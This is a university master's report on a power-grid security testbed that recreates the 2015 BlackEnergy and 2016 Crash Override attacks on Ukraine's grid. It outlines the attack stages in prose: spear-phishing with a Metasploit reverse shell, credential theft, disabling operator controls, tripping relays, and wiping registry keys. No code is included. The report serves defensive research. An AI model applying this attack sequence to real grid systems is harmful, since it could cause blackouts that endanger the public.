Scalable and Modular Implementation of Scenario-based Cyber Attacks and Defense Methodologies on CPS Security SCADA Testbed

Subramanian Arunachalam
smanian@iastate.edu

Follow this and additional works at: https://lib.dr.iastate.edu/creativecomponents

Part of the Computer Engineering Commons

Recommended Citation

https://lib.dr.iastate.edu/creativecomponents/41

This Creative Component is brought to you for free and open access by the Iowa State University Capstones, Theses and Dissertations at Iowa State University Digital Repository. It has been accepted for inclusion in Creative Components by an authorized administrator of Iowa State University Digital Repository. For more information, please contact digirep@iastate.edu.
Scalable and Modular Implementation of Scenario-based Cyber Attacks and Defense Methodologies on CPS Security SCADA Testbed

by

Subramanian Arunachalam

A creative component submitted to the graduate faculty
in partial fulfillment of the requirements for the degree of

MASTER OF SCIENCE

Major: Computer Engineering

Program of Study Committee:
Manimaran Govindarasu, Major Professor

Iowa State University
Ames, Iowa
2018
DEDICATION

Dedicated to my mom, dad and sister who have been there by my side through the toughest of times.
# TABLE OF CONTENTS

<table>
<thead>
<tr>
<th>Section</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>LIST OF TABLES</td>
<td>vi</td>
</tr>
<tr>
<td>LIST OF FIGURES</td>
<td>vii</td>
</tr>
<tr>
<td>ACKNOWLEDGMENTS</td>
<td>ix</td>
</tr>
<tr>
<td>ABSTRACT</td>
<td>x</td>
</tr>
<tr>
<td>CHAPTER 1. OVERVIEW</td>
<td>1</td>
</tr>
<tr>
<td>1.1 Smart Grids</td>
<td>1</td>
</tr>
<tr>
<td>1.2 Smart Grid Threats and Vulnerabilities</td>
<td>2</td>
</tr>
<tr>
<td>1.2.1 Threats</td>
<td>2</td>
</tr>
<tr>
<td>1.2.2 Vulnerabilities</td>
<td>2</td>
</tr>
<tr>
<td>1.3 Need for test beds for CPS research</td>
<td>3</td>
</tr>
<tr>
<td>1.4 Report Organization</td>
<td>4</td>
</tr>
<tr>
<td>CHAPTER 2. STATE-OF-THE-ART OF CPS TESTBED SCENARIOS</td>
<td>5</td>
</tr>
<tr>
<td>2.1 Test beds for Smart Grids</td>
<td>5</td>
</tr>
<tr>
<td>2.1.1 Texas A&amp;M University Test bed</td>
<td>5</td>
</tr>
<tr>
<td>2.1.2 Washington State University Test bed</td>
<td>5</td>
</tr>
<tr>
<td>2.1.3 WAMS Test bed</td>
<td>6</td>
</tr>
<tr>
<td>2.1.4 PHIL Test bed</td>
<td>6</td>
</tr>
<tr>
<td>2.1.5 PREDIS Test bed</td>
<td>6</td>
</tr>
<tr>
<td>2.1.6 Uniqueness of PowerCyber Testbed</td>
<td>7</td>
</tr>
<tr>
<td>2.2 PowerCyber Test bed</td>
<td>8</td>
</tr>
<tr>
<td>2.3 Motivation</td>
<td>10</td>
</tr>
</tbody>
</table>
2.4 Executive Summary ................................................................. 11

CHAPTER 3. TEST BED DESIGN AND CASE STUDY OVERVIEW .......... 13

3.1 Test bed design ................................................................. 13

3.2 Overview of the Ukrainian Power Grid attacks ............................ 13

3.2.1 Black Energy based attack ................................................. 14

3.2.2 Crash Override based attack .............................................. 16
# LIST OF TABLES

<table>
<thead>
<tr>
<th>Table</th>
<th>Description</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Table 4.1</td>
<td>ICS Cyber Kill Chain mapping</td>
<td>21</td>
</tr>
</tbody>
</table>


**LIST OF FIGURES**

<table>
<thead>
<tr>
<th>Figure</th>
<th>Description</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Figure 2.1</td>
<td>PowerCyber Testbed Capabilities</td>
<td>8</td>
</tr>
<tr>
<td>Figure 2.2</td>
<td>PowerCyber Testbed</td>
<td>9</td>
</tr>
<tr>
<td>Figure 3.1</td>
<td>Design and evaluation of testbed modularity in PowerCyber Lab</td>
<td>14</td>
</tr>
<tr>
<td>Figure 3.2</td>
<td>Modular elements to recreate Black Energy attack</td>
<td>15</td>
</tr>
<tr>
<td>Figure 3.3</td>
<td>Comparison between actual and simulation in Black Energy attack</td>
<td>16</td>
</tr>
<tr>
<td>Figure 3.4</td>
<td>Modular elements to recreate Crash Override attack</td>
<td>17</td>
</tr>
<tr>
<td>Figure 3.5</td>
<td>Comparison between actual and simulation in Crash Override attack</td>
<td>18</td>
</tr>
<tr>
<td>Figure 4.1</td>
<td>Simulation</td>
<td>20</td>
</tr>
<tr>
<td>Figure 4.2</td>
<td>Networks in the topology of Black Energy based attack simulation</td>
<td>22</td>
</tr>
<tr>
<td>Figure 4.3</td>
<td>Details of the reverse shell payload by Metasploit</td>
<td>23</td>
</tr>
<tr>
<td>Figure 4.4</td>
<td>Timing Diagram for Black Energy attack</td>
<td>24</td>
</tr>
<tr>
<td>Figure 4.5</td>
<td>Command list for attack propagation</td>
<td>25</td>
</tr>
<tr>
<td>Figure 4.6</td>
<td>Output during attack propagation step</td>
<td>26</td>
</tr>
<tr>
<td>Figure 4.7</td>
<td>Command list for stealing the RDP credentials</td>
<td>27</td>
</tr>
<tr>
<td>Figure 4.8</td>
<td>Spear phishing email sent to the employees in the business network</td>
<td>27</td>
</tr>
<tr>
<td>Figure 4.9</td>
<td>Terminal responses when a victim clicks on the malicious payload</td>
<td>28</td>
</tr>
<tr>
<td>Figure 4.10</td>
<td>Command to obtain remote desktop of Control Center</td>
<td>28</td>
</tr>
<tr>
<td>Figure 4.11</td>
<td>View of the RDP of Control Center</td>
<td>29</td>
</tr>
<tr>
<td>Figure 4.12</td>
<td>Commands to move from Business network to Control Center network</td>
<td>30</td>
</tr>
<tr>
<td>Figure 4.13</td>
<td>Output in the command window for successful lateral movement</td>
<td>30</td>
</tr>
<tr>
<td>Figure 4.14</td>
<td>Commands to disable the User Interface of the Control Center</td>
<td>31</td>
</tr>
<tr>
<td>Figure</td>
<td>Description</td>
<td>Page</td>
</tr>
<tr>
<td>----------</td>
<td>-----------------------------------------------------------------------------</td>
<td>-------</td>
</tr>
<tr>
<td>4.15</td>
<td>Timing diagram for Crash Override attack</td>
<td>32</td>
</tr>
<tr>
<td>4.16</td>
<td>Actual conditions of the Crash Override attack</td>
<td>33</td>
</tr>
<tr>
<td>4.17</td>
<td>PowerCyber Implementation of the Crash Override attack</td>
<td>33</td>
</tr>
<tr>
<td>4.18</td>
<td>Simulated use cases of Adversary Management Module</td>
<td>36</td>
</tr>
<tr>
<td>4.19</td>
<td>Timings of the individual modules</td>
<td>36</td>
</tr>
<tr>
<td>5.1</td>
<td>Training modules Implementation</td>
<td>37</td>
</tr>
</tbody>
</table>
ACKNOWLEDGMENTS

I would like to take this opportunity to express my thanks to those who helped me with various aspects of conducting research and the writing of this report. First and foremost, Dr. Manimaran Govindarasu for his guidance, patience and support throughout this research and the writing of this report.

I would also like to express my gratitude to my team members Aditya Ashok, Pengyuan Wang, Vivek Singh, Srikrishna Sarangan, Steven, Haythem, Jacob Drahos, Jacob Ulrich, Ashwin C Pappa, Sujatha Krishnaswamy for their constant support and encouragement.

I would like to extend my gratitude to Dr. Ravikumar Gelli for his guidance in bringing out the report and the final presentation to a fruition.

Finally, I would also like to thank Vishal, Vijay, Anupa, Umesh, Abinaya, Anand, Sathish, Karthikeyan, Dheepak, Sathya, Tharani for their constant support and encouragement through this graduate journey.
ABSTRACT

The electric power grids in the United States are slowly being converted into Smart Grids, which deploy digital technology that facilitates two-way communication between utilities and the customers, detect and react to local changes in usage. This conversion opens up many vulnerabilities and security pitfalls that never existed before. A recent example of an attack that had major impacts on the Power Grid is the cyber attack on the Ukrainian power grid. To combat these kinds of cyber attacks on critical infrastructures, we present a realistic moderate-cost modular test bed and evaluate using two case studies: Black Energy attack (2015) and Crash Override attack (2016) that happened in the Ukraine power grid. A design methodology for a modular test bed capable of performing a complex security assessment for cyber-physical systems is formulated, evaluated using the aforementioned attacks, some possible defense measures and some unique insights on these types of attacks are delineated.

The experiments were carried out in PowerCyber test bed of Iowa State University.
CHAPTER 1. OVERVIEW

1.1 Smart Grids

The current electric grid in the United States was established in the 1890s and it is slowly being upgraded to match with the technological advancement [1]. Smart Grids comprise of advanced smart meters, Phasor Measurement Units (PMUs) and cutting-edge technologies that enable two-way communications between the utilities and the users to provide better information about faults, power outages. The modernization of the grid is absolutely essential to ensure stability, resilience and better fault tolerance.

But as the grids get smarter, they also expose a lot of vulnerabilities which can be exploited by attackers.

Moreover, the power grids are deeply integrated with the cyber systems, it is observed that the vulnerabilities through cyber systems attack surface can be exploited by adversaries.

The modernization of the grid should happen in a way that will avoid these vulnerabilities and ensure safe operation of the grid. The average life of the individual components of the electric grid is longer and hence it does not undergo frequent upgrades. This results in the grid being a legacy infrastructure with certain parts of the grid having old and new elements in operation. The vulnerabilities existing in this complex infrastructure have severe impacts with modernization into Smart Grids as they are slowly exposed to the Internet. Hence, it is essential to keep the security of the smart grid in consideration right before the modernization. Security breaches to these infrastructures have been on the rise every day and this necessitates the need for active research in this regard. Sophisticated test beds that are capable of performing complex experimentation fosters better research to combat these security breaches. This paper devises a new design approach to cyber-physical system test beds, analyzes specific use cases (the Ukraine Power-Grid attacks),
experiments it on a realistic test bed, suggests possible defense measures and suggestions for its security.

1.2 Smart Grid Threats and Vulnerabilities

Smart Grids are one of the Critical Infrastructures that needs protection round the clock. Inadequate security in the smart grid sector might pose the threats of large-scale blackouts disrupting the medical industry, loss of data in data centers etc., as mentioned in the papers [2][3][4][5]

1.2.1 Threats

The threats that smart grids face can be categorized into the following factors:

a Criminal Threats: Attackers might target the smart meters and compromise it to monitor house occupancy and plan on a robbery.

b Financial Threats: A possible rivalry in business might result in the smart meters and subsequently the smart grid is taken down as a vendetta.

c Political Threats: Well sponsored nation states might wage cyber war on their enemy nations by disrupting their critical infrastructures.

d Privacy Threats: Compromised smart meters pose a risk of revealing user’s information such as their personal details, time of usage of various appliances, home occupancy etc.,[6]

e Physical Threats: An adversary could sabotage or vandalize any physical component of the smart grid to cause an outage.

1.2.2 Vulnerabilities

The smart grids are very much prone to attacks as the components are vulnerable both as individual components and at a system level. The vulnerabilities as listed in the paper [6]:
a **Consumer devices security:** Smart meters in the homes of users are the weakest link of the entire smart grid system. Though it is difficult to cause blackout only by compromising Smart meters, they still pose a challenge as they might reveal some crucial data while mapping the entire system.

b **Increased number of Smart Devices:** As the electric grid becomes more and more connected to the Internet with the number of smart devices on the rise, the attack surface that it exposes is also equally increased.

c **Legacy systems:** Compared to the IT infrastructure, the lifetime of the electric grid devices are relatively longer and hence the devices may not be up to date which leads to many vulnerabilities. Also, the updates may be a little difficult because of the complex nature of the grid.

d **Using Internet protocol (IP) and commercial off-the-shelf hardware and software:** The usage of IP based standards in the smart grid is a big advantage for the attackers as it provides a strong playground for many IP based attacks like IP spoofing, Tear Drop and Denial-of-service attacks.

### 1.3 Need for test beds for CPS research

With increasing attacks on the cyber-physical systems in recent days, it is imperative that there are numerous test beds in the research to model security experiments, derive meaningful analysis and conduct effective mitigation research. The test beds should be flexible in a way where it can be scaled down from modeling simple security incidents to a complex cyber-security assessment of real-world security breaches. The test beds should also be scalable in cases where modular components of a security experiment can be integrated to perform a larger complex cyber-security experiment. An ideal test bed will also have facilities to perform multiple experiments concurrently with complete isolation where the steps of one do not interfere with the other. It must also be well
documented with simpler module components for easier troubleshooting. To summarize, an ideal test bed should have:

- Flexibility
- Scalability
- Concurrent Experimentation and Isolation
- Quick Troubleshooting

1.4 Report Organization

The main contribution of this creative component report is to provide a framework that is modular so as to expedite the state-of-the-art research into industrial practice. By these design principles, the test bed can be leveraged to simulate large-scale experiments in a short period of time using a set of modular components that aid in experimentation. The report is structured as follows:

- **Chapter 1** introduces the Smart Grids, its threats, and vulnerabilities and the need for experimentation.

- **Chapter 2** discusses the related works like existing test beds for Cyber-physical system research, the motivation behind the area of study, PowerCyber test bed and its use cases.

- **Chapter 3** devises a design strategy to improve the efficiency of experimentation of Cyber-physical systems by reducing the time taken for simulation. It also briefs two real-world attacks that can be easily experimented in the new design.

- **Chapter 4** explains the procedure for evaluating the testbed design with the two case studies from the Ukrainian Power Grid attacks.

- **Chapter 5** concludes the report by suggesting some of the defense measures and some observations from the experiments. It also briefs on building a resilient Smart Grid.
CHAPTER 2. STATE-OF-THE-ART OF CPS TESTBED SCENARIOS

2.1 Test beds for Smart Grids

There are many testbeds to simulate the conditions of a Cyber-physical system. Smart Grids are one such example in Cyber-physical systems which tends to have a broader scope in applications. There have been many efforts in the industry which have focused on developing test beds for this niche research area.

2.1.1 Texas A&M University Test bed

The researchers at the Texas A&M University have built a testbed that is used for Real-Time Wide Area Control applications using Real-Time Digital Simulator (RTDS) for simulation of models, OPNET Network Simulator -3 (NS-3) for simulating the networks and NI-PXI modules for Data Acquisition. This testbed has an RSCAD simulator and an 11-bus system was chosen for experiments in the paper [7]. This testbed can be used for various power system analysis, damping controls and studies pertaining to power system oscillations.

2.1.2 Washington State University Test bed

Washington State University has two interconnected testbeds: Smart City Testbed and Smart Grid Demonstration Research Investigation Laboratory (SGDRIL). This test bed also features various real-time components like RTDS, NS-3 with realistic environments that span both transmission and distribution domains of the Power Grid. The testbed contains various control system software, Phasor Measurement Units (PMU), embedded systems and real-time simulation capabilities as mentioned in the paper [8].
2.1.3 WAMS Test bed

Researchers from various cross-disciplinary fields from Distributed Analytics Security Institute - Mississippi State University, Center for Cybersecurity Research and Education - University of Alabama, MaxPoint Interactive have proposed a cyber-physical system test bed for Smart Grid-related research using Hardware-in-the-Loop (HIL) like RTDS, PMUs, Phasor Data Concentrators (PDCs), hardware and software relays. The testbed currently consists of an RTDS, seven PMUs, PDCs, three physical over current and distance protection relays and various control/monitoring software tools for analysis. The test bed can simulate 5 different power system models; a three generator four bus system, a modified two generator three bus system, a WECC nine bus system, a two area power system, and the IEEE fourteen bus system at the time of publishing this paper [9]

2.1.4 PHIL Test bed

This is a test bed in China developed by China Electric Power Research Institute (CEPRI) that has Power Hardware-In-the-Loop (PHIL) for conducting research on Smart Grid industry with renewable energy integrated [10]. There is an emulated Wind Turbine with the help of an asynchronous motor and generator which are integrated into the RT-Lab using a power interface. It also has a dSPACE controller to send signals to the emulated Wind Turbine. This testbed is good for experiments that have a lot of uncertain conditions like the renewable energy system with real-time simulated components.

2.1.5 PREDIS Test bed

Researchers from Grenoble Electrical Engineering Laboratory, Communaut Universit Grenoble Alpes, Grenoble, France have created a test bed to simulate feeder automation functions [11] in a platform called PREDIS which is a French acronym for Production of Distributed Energy (PRoduction d’Energie DIStribue). The PREDIS distribution grid is composed of 10,000 real connection points, around 500 switches, 4 industrial Programmable Logic Controllers (PLCs) with
300 I/O, 130 power measurements, current and voltage sensors, 10 fault location indicators, and a fault recorder plus an associated Object Linking and Embedding (OLE) for Process Control (OPC) server per substation. This testbed primarily focuses on developing a platform to simulate Micro Grids, Smart Grids, and Super Grids for academic purposes. This testbed contains physical and emulated components for complex power system analysis.

2.1.6 Uniqueness of PowerCyber Testbed

Unlike other testbeds, PowerCyber Testbed contains the hardware and software capable of performing both complicated power system analysis and complex cyber-security experiments. The PowerCyber lab consists of simulators like RTDS, OPAL-RT which are capable of running several IEEE power system models concurrently. This paves way for greater scalability and simulation of large power system models. The Power Cyber Lab also boasts of PMUs, PDCs, several hardware and software relays, Server racks for spawning virtual machines to model any simulation as close to the actual conditions. The following components make PowerCyber Testbed a prominent choice for running a variety of real-world use cases. The figure 2.1 captures some of the capabilities of the Power Cyber Lab.

- Real-Time simulators like RTDS, OPAL-RT for running large-scale power system models
- Federation with other testbeds like Defense Technology and Experimental Research (DETER), Army Research Lab (ARL)
- Capabilities to model Wide Area Monitoring, Protection and Control (WAMPAC) experiments
- Hardware and software tools to deploy Automatic Generation Control (AGC) and Remedial Action Scheme (RAS) with renewable energy
- A simulated wide area network (WAN) that mimics the real world Internet called Internet-Scale Event and Attack Generation Environment (ISEAGE)
• Three dedicated servers for running virtual machines and a Graphical Network Simulator (GNS-3) to model complex networks

• Twelve physical Phasor Measurement Units (PMUs)/Relays from Schweitzer and Siemens with Phasor Data Concentrators (PDCs) to make it a hybrid SCADA and Synchrophasor Testbed

• Hardware and software to model Software Defined Networks (SDN)

2.2 PowerCyber Test bed

The PowerCyber Testbed of Iowa State University is a real-time power simulation environment with industry-standard hardware including phasor measurement units, remote terminal units, phasor data concentrators to perform hardware-in-the-loop simulations for security experiments in the cyber-physical systems platform as mentioned in the papers [12][13][14]. Figure 2.2 shows that the testbed contains a virtual critical infrastructure environment where realistic experiments can be
performed for specific use case scenarios deriving results that are close to the real-world values.
The test bed can be used to leverage the advantage of the hardware in a scalable, cost-efficient,
high-fidelity simulated environment to perform cybersecurity experiments for study and analysis of
impacts in the real world.

![Figure 2.2 PowerCyber Testbed](image)

The PowerCyber Testbed supports various use cases that advance the research in the security
of cyber-physical systems. To list a few,

- Vulnerability Assessment
- Testbed federation
- Power system Model Development
- Attack - Defense experimentation
- Impact Analysis and Mitigation Research
2.3 Motivation

The PowerCyber lab of Iowa State University contains all the physical and real-time components that are scalable for running very large models and complex cyber-security experiments. To better leverage this hardware capability, the software components also should be scalable and robust to expedite the transition of state-of-the-art research into industrial practice. In order to achieve this level of scalability, the concept of modularization was studied. A similar concept was implemented at Carnegie Mellon University where the researchers developed a framework called Dynamic Monitoring and Decision Systems (DYMONDS) as explained in the paper [15]. This paper explains a multi-layered power grid sub-components integrated into a larger-scale power grid. The paper defines principles for coordinating interactions of heterogeneous modular test beds within a multi-test bed computer platform. In this study, the software components like virtual machines, network configurations, shell scripts, python scripts are grouped into independent sub-units called modules based on their functions. The modules are an abstract way of grouping the components to perform a functional task in the simulation of a cyber-security experiment. Some of the modules which can be logically associated can be listed such as:

- Social Engineering module
- Payload module
- Power Grid attack module
- Auxiliary/Supporting attacks module
- Delay Restoration module
- Forensics module
and so on. The software components that enable social engineering like spear phishing emails, MS-office macros, shell scripts that perform the initial phase of the attacks can be grouped together in the Social Engineering module. Similarly, the payload module contains the deliverable payloads, Power Grid attack module contains the actual steps for causing the blackout in the Power Grid. The Supporting attacks module contains the steps for amplifying the attacks like Denial of Service (DOS) attacks, Ping flood, SYN flood attacks which amplify the damage caused. The Delay restoration module contains software components that cause disabling of keyboard, mouse or removal of registry keys and forensics module with Wireshark, IDS like Snort, Bro etc., This logical association of sub-units that perform particular tasks are modularized and assembled to form a larger complex cyber-security experiment. This modularization helps in a better organization as individual units can be tested for its functional task and it also enables us to debug faster and perform quicker troubleshooting.

2.4 Executive Summary

This creative component is conceptualized with the idea of creating a design methodology for CPS testbeds thereby facilitating it to model complex cybersecurity experiments fostering expedited research. It also tests the design approach by modeling two real-world cybersecurity breaches that happened in Ukrainian Power Grid. On the eve of Christmas in 2015, the capital city of Kiev, Ukraine witnessed a massive blackout which was caused by state-sponsored cyber attacks. They were of the Advanced Persistent Threats (APT) category where the attacks have a political and targeted motive that could last for a really long time. This attack happened with six months of reconnaissance inside the Power Grid networks carefully snooping every operation and monitoring the daily activities of the Grid. The adversaries had infiltrated the network by a social engineering attack spread through spear-phishing emails to the nodes in the Business network. Once when they were inside the business networks, they had carefully studied the Operational Technology (OT) network operations, rewriting the firmware of Serial-to-Ethernet converters over the six months of reconnaissance for the supporting attacks on the actual day of the blackout. They had then waited
for the right time to attack and on the blackout day, they disabled the input devices of the operator, moving the mouse remotely to cause the breakers to open one by one. Once the breakers are opened, they flooded the telephone lines of customer service centers with Denial-of-Service (DoS) attacks to prevent the lines from recovery. They also enabled the rewritten Serial-to-Ethernet converters so that the operators have to manually close the breakers. This caused a total blackout in the city for three hours affecting 230,000 consumers. A similar experiment was modeled in PowerCyber lab to understand the conditions and devise mitigation measures for the breach. A spear-phishing email containing a reverse-shell payload was sent to the node in the business network. Once clicked, it gave access to the adversary sitting on the other end of the Wide Area Network to remotely access the system. The adversary then stole the VPN credentials to infiltrate into the Control Center in the OT network. The adversary also installed reverse shell payloads in the Control center to enable remote Graphical User Interface (GUI) access and to disable the input devices like mouse and keyboard.

The adversary then opened the breakers one by one imitating the attack that happened in Ukraine. This creative component describes the abstract way of this attack and prescribes proactive defense measures like multi-factor authentication, active firewall rules, Intrusion Detection, and Prevention systems to systematically prevent the entire blackout. Another attack called as the 'Crash Override attack' or the 'Industroyer attack' was also mimicked in the PowerCyber lab which is an extension of the previous attack but with advanced capabilities like a launcher module to detect the protocols and release the payload. This is the core content of this creative component.
CHAPTER 3. TEST BED DESIGN AND CASE STUDY OVERVIEW

3.1 Test bed design

Since the Black Energy attack on the power grid [16], securing the grid has gained more prominence and efforts have been put to protect critical infrastructures at all costs. Experimental research bridges the gap between the shortfalls of theoretic approaches and practical applications of smart grid security. The Smart Grid is of complex nature and the biggest strength until this attack was its intrinsic complexity. To achieve a highly synchronized attack causing a massive blackout was deemed difficult but the Black Energy attack just proves that adversaries have devised sophisticated methods, improved reconnaissance capabilities to infiltrate the network and cause blackouts.

This effectively brings the need to expedite the transition from state-of-the-art research in cyber-physical system security into industrial practice. To make testing of complex security exercises easier we have devised a way to design the testbed into modules which can quickly be constructed for experimentation and observation. A module is an abstract way to group the physical and software elements to perform a particular task. It can be a combination of a set of virtual machines, programming scripts, network configurations, software tools, routers, switches, physical relays etc., which are independent enough that they can be assembled to serve as a part of a larger complex experiment. This division of modules is valuable as most cyber-security breaches or incidents follow a pattern containing methods that achieve a similar consequence. Figure 3.1 describes how the test bed is broken into individual modules and tested for two case studies in the PowerCyber lab at Iowa State University.

3.2 Overview of the Ukrainian Power Grid attacks

The December months of the years 2015 and 2016 witnessed massive blackouts that happened in the capital city of Ukraine due to cyber activities. These two blackouts were the first official
blackouts caused because of the cyber attacks that happened to critical infrastructures like the
Power Grid and is, therefore, an important topic of research with respect to security of Cyber-
Physical systems. A brief overview of the attacks: Black-Energy based attack (Dec 2015) and
Crash Override based attack (Dec 2016) are delineated in this section.

3.2.1 Black Energy based attack

The E-ISAC SANS Report on the Ukraine Power Grid attack maps the entire event to an ICS
Cyber Kill Chain[16], a modified version of the Lockheed Martin’s Cyber Kill Chain Model of
dealing with Advanced Persistent Threats [17]. In the first stage, the hackers targeted the hosts in
the business network and performed the reconnaissance operation for six months [18]. In the second
stage, they developed a malware called "Kill Disk" program and embedded it inside Microsoft Office
documents. In the third stage, they spread it across the internet particularly spear-phishing the
targeted systems in the business network of the distribution station control centers. Once a user
clicks the malware, it gave them the access to that computer in the business network. Then they
obtained the VPN credentials necessary to gain access to the control centers. With a reconnaissance
operation of about six months, they wrote elaborate programs ranging from the firmware of Serial-
to-Ethernet converters, enabling remote access permissions, special programs to disable the mouse
and keyboard of the operators. In the fourth stage, a coordinated attack was performed on the
attack day tripping the circuit breakers of the substations with the operators rendered useless
with their input devices disabled. In the fifth stage, they attacked the Uninterruptible Power Supply (UPS) systems and sent out Distributed Denial-of-service attacks to the call centers of the impacted substations. Figure 3.2 shows the modular components assembled to recreate this attack. The following steps were performed to recreate the attack:

- Send the spear-phishing email to the employees in the business network.
- Get the shell access of the system that opens the payload
- Obtain the root user privileges by privilege escalation and get the VPN credentials
- Establish the connection between the control center and the attacker
- Install a malicious software to enable remote desktop access to the attacker
- Disable the mouse and keyboard of the control center system
- Take control over operator’s GUI and trip the physical relays connected to the substation

Figure 3.3 draws a comparison between the actual Black Energy attack that happened in Ukraine in 2015 and the simulated experiment in the PowerCyber Testbed.
### 3.2.2 Crash Override based attack

On December 17th, 2016, the following year after Ukraine’s Electric Grid experienced its first-of-its-kind cyber-attack impacting grid operations, it was hit again by a yet another attack which was stealthier and more sophisticated than the previous attack. The attack caused similar power outage and it is believed to have deployed a malware that was tailor-made to target Industrial Control System devices especially the electric grid. Dubbed as ”Crash Override”, this is the fourth ICS specific malware after STUXNET, HAVEX [19], BLACK ENERGY 3 as mentioned in the article [20]. According to the report, the second attack poses a bigger threat as the attack had modules which were platform-independent and were not vendor-specific. The malware targeted the operations of the IEC - 101, 104 but can be easily leveraged to target the devices using the Distributed Network Protocol (DNP3) which is predominant in North America.

The Crash Override malware had a backdoor program that installed two main modules: the Launcher module and Data Wiper module. The Launcher module, in turn, had multiple modules for each protocol like IEC - 101, 104, 61850 and OPC modules and so forth. The Launcher module
launches itself based on the identified protocol and restarts itself as a service to hide. The Launcher then launches the Data Wiper module which is platform-independent. Figure 3.4 lists the modular elements required to mimic this attack.

**Crash override attack simulation**

- Have a persistent backdoor agent in the target machine (control center)
- Establish a connection from the attacker to the control center and get reverse shell access
- Initiate the launcher python script and enable listening to remote commands from the attacker
- Send command to initiate the payload module. The payload module has two steps:
  a. Stop the existing AGC operation
  b. Inject bad values to AGC causing frequency instability
- Send command to initiate Data wiper module which deletes the system registry keys and render it unusable

Figure 3.4 Modular elements to recreate Crash Override attack

Figure 3.5 draws a comparison between the actual Crash Override attack that happened in Ukraine in 2016 and the simulated experiment in the PowerCyber Testbed.
<table>
<thead>
<tr>
<th>Module</th>
<th>Crash Override based attack (Ukraine 2016)</th>
<th>PowerCyber Implementation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Backdoor Agent</td>
<td>Persistent agent in the infected PCs from the Black Energy based attack</td>
<td>Remnant metasploit backdoor agent from Black Energy attack implementation</td>
</tr>
<tr>
<td>Launcher</td>
<td>Exe launcher loading a windows background</td>
<td>Python script listening in a socket for commands from C2 server (attacker)</td>
</tr>
<tr>
<td>Data Wiper</td>
<td>A module that clears registry keys, erases files and kills processes</td>
<td>Python script that removes the registry keys</td>
</tr>
<tr>
<td>Payload</td>
<td>Malicious payload that detects protocol and launches modules to trip breakers</td>
<td>Script that injects bad data into the EMS and brings down generation by frequency instability</td>
</tr>
</tbody>
</table>

Figure 3.5  Comparison between actual and simulation in Crash Override attack
CHAPTER 4. CASE STUDIES

The moderate-cost modular testbed implementation was tested out using two case studies - the Ukrainian power grid attacks that happened in the years 2015, 2016 respectively. The Black Energy based attack (2015) and the Crash Override based attack (2016) was modeled in the modular test beds and the steps are delineated in this chapter.

4.1 Black Energy based attack

4.1.1 Implementation in the PowerCyber Lab

The cyber-attack on the power grid was modeled in the PowerCyber Lab with the help of many physical and virtual components to exactly recreate the actual attack. It involved spawning of many virtual machines: two Windows 2012 Server operating systems to simulate the business network, a Windows 2003 Server operating system to imitate a traditional control center, a Windows XP operating system for a remote substation, three Kali-Linux operating systems to simulate the gateways and one Kali-Linux to simulate the attacker. To study the physical impacts of the network, a hardware-in-the-loop Real-Time Digital Simulator (RTDS) was used to simulate the power grid which had three physical relays connected to it. The three physical relays represented the three oblenegros (an equivalent term for substations in Ukraine) that were tripped during the coordinated attack on 23 December 2015. They were interconnected as shown in figure 4.1

4.1.1.1 ICS Cyber Kill Chain Mapping

The Black Energy based Ukraine power grid attack that happened in the December of 2015, was mapped on to an adaptation called 'ICS Cyber Kill Chain' formulated by the E-ISAC SANS report which was published the following year based on the attack [16]. That by itself was inspired by
Lockheed Martin’s Cyber Kill Chain methodology which maps any cyber attack into seven major steps namely:

- Reconnaissance
- Weaponization
- Delivery
- Exploit
- Install/Modify
- Command and Control (C2)
- Action on objectives
A similar mapping was done for the Black Energy based attack that made it possible to break down the entire attack into implementable steps. The ICS Cyber Kill chain steps and the Black Energy based attack steps are compared in the table 4.1. The modeling of the attack in PowerCyber lab was achieved by recreating the same case with moderate abstraction. The reconnaissance part was done with normal network discovery options, the macro with an executable file delivered through a phishing email, the payload was generated by a Metasploit framework in Kali Linux. The VPN credential theft imitated the Install/Modify steps, the C2 server with a Metasploit server on the attacker’s end. The blackout was imitated by a relay trip on four of the substations.

<table>
<thead>
<tr>
<th>ICS Cyber Kill Chain Steps</th>
<th>Black Energy based attack Steps</th>
<th>PowerCyber Lab Steps</th>
</tr>
</thead>
<tbody>
<tr>
<td>Reconnaissance</td>
<td>Six months of reconnaissance</td>
<td>Network Discovery</td>
</tr>
<tr>
<td>Weaponization</td>
<td>Macro in MS-Office Document</td>
<td>Executable file</td>
</tr>
<tr>
<td>Delivery</td>
<td>Phishing Email</td>
<td>Phishing Email</td>
</tr>
<tr>
<td>Exploit</td>
<td>Black Energy 3 Malware</td>
<td>Metasploit payload</td>
</tr>
<tr>
<td>Install/Modify</td>
<td>Rewritten firmware of S/E converters</td>
<td>VPN Credential Theft</td>
</tr>
<tr>
<td>Command and Control</td>
<td>Reverse proxy servers</td>
<td>Metasploit server</td>
</tr>
<tr>
<td>Action on objectives</td>
<td>Execute ICS attack</td>
<td>Relay Trips on substations</td>
</tr>
</tbody>
</table>

4.1.1.2 Virtual Machines and Networking

The eight virtual machines in the topology were divided into four basic networks:

- Control Center network
- Substation network
- Business network
- Wide Area network

Each network was segmented and the gateways bordering the two networks had network address translation (NAT) rules to facilitate the data flow between the networks as mentioned in the figure 4.2. The Wide Area Network simulated the Internet with all the other three networks at its
peripheral ends. The Control Center, WAN, Substation networks formed the central backbone of all the operations of the power grid. The Business network had administrative privileges over the control center which was connected through the simulated WAN network. The attacker was somewhere on the Internet and hence it was outside these four networks which could only connect through the WAN. This topology ensured that the simulated model was as close to the actual network.

![Networks in the topology of Black Energy based attack simulation](image)

**Figure 4.2** Networks in the topology of Black Energy based attack simulation

### 4.1.1.3 Payload Generation

The reverse shell payload was created from Kali Linux using Metasploit (msfvenom). The one that is used in the topology has the following parameters as given in the figure 4.3. The payload generated through Metasploit was developed for windows platform as this simulation contains windows virtual machines for the Control Center, Substation and Business networks.
4.1.1.4 Virtual Networking Clients

The modeling of the Black Energy based attack involves many instances of viewing the Graphical User Interface (GUI) of another operating system inside a host operating system. For this feature, the Virtual Networking Clients (VNCs) were used. The VNC of choice in this topology was RealVNC Client in the clients and the in-built VNCs in the port '5900' of Kali Linux for the VNC server.

4.1.1.5 Social Engineering

The payload generated by the Metasploit framework had to be propagated to the business network of the power grid through a social engineering attack. Spear phishing - a common form of social engineering was chosen to distribute the payload through emails that resemble the emails that are sent internally within the organization.

4.1.2 Experiment Orchestration

